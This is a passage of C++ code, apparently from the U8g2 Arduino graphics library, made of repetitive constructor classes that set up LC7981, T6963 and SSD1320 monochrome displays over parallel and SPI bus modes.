uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_128X128_F_6800 : public U8G2 { public: U8G2_LC7981_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X128_1_8080 : public U8G2 { public: U8G2_T6963_240X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X128_2_8080 : public U8G2 { public: U8G2_T6963_240X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X128_F_8080 : public U8G2 { public: U8G2_T6963_240X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X64_1_8080 : public U8G2 { public: U8G2_T6963_240X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X64_2_8080 : public U8G2 { public: U8G2_T6963_240X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_240X64_F_8080 : public U8G2 { public: U8G2_T6963_240X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_240x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_256X64_1_8080 : public U8G2 { public: U8G2_T6963_256X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_256x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_256X64_2_8080 : public U8G2 { public: U8G2_T6963_256X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_256x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_256X64_F_8080 : public U8G2 { public: U8G2_T6963_256X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_256x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_1_8080 : public U8G2 { public: U8G2_T6963_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_ALT_1_8080 : public U8G2 { public: U8G2_T6963_128X64_ALT_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_alt_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_2_8080 : public U8G2 { public: U8G2_T6963_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_ALT_2_8080 : public U8G2 { public: U8G2_T6963_128X64_ALT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_alt_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_F_8080 : public U8G2 { public: U8G2_T6963_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_128X64_ALT_F_8080 : public U8G2 { public: U8G2_T6963_128X64_ALT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_128x64_alt_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_160X80_1_8080 : public U8G2 { public: U8G2_T6963_160X80_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_160x80_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_160X80_2_8080 : public U8G2 { public: U8G2_T6963_160X80_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_160x80_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_T6963_160X80_F_8080 : public U8G2 { public: U8G2_T6963_160X80_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t6963_160x80_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X32_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X32_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X32_1_6800 : public U8G2 { public: U8G2_SSD1320_160X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_1_8080 : public U8G2 { public: U8G2_SSD1320_160X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X32_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X32_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X32_2_6800 : public U8G2 { public: U8G2_SSD1320_160X32_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_2_8080 : public U8G2 { public: U8G2_SSD1320_160X32_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X32_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X32_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X32_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X32_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X32_F_6800 : public U8G2 { public: U8G2_SSD1320_160X32_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X32_F_8080 : public U8G2 { public: U8G2_SSD1320_160X32_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x32_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X132_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X132_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X132_1_6800 : public U8G2 { public: U8G2_SSD1320_160X132_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_1_8080 : public U8G2 { public: U8G2_SSD1320_160X132_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1320_160X132_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1320_160X132_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1320_160X132_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1320_160X132_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1320_160X132_2_6800 : public U8G2 { public: U8G2_SSD1320_160X132_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1320_160x132_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1320_160X132_2_8080 : public U8G2 { public: U8G2_SSD1320_160X132_2_8080(const u8g2_cb_t 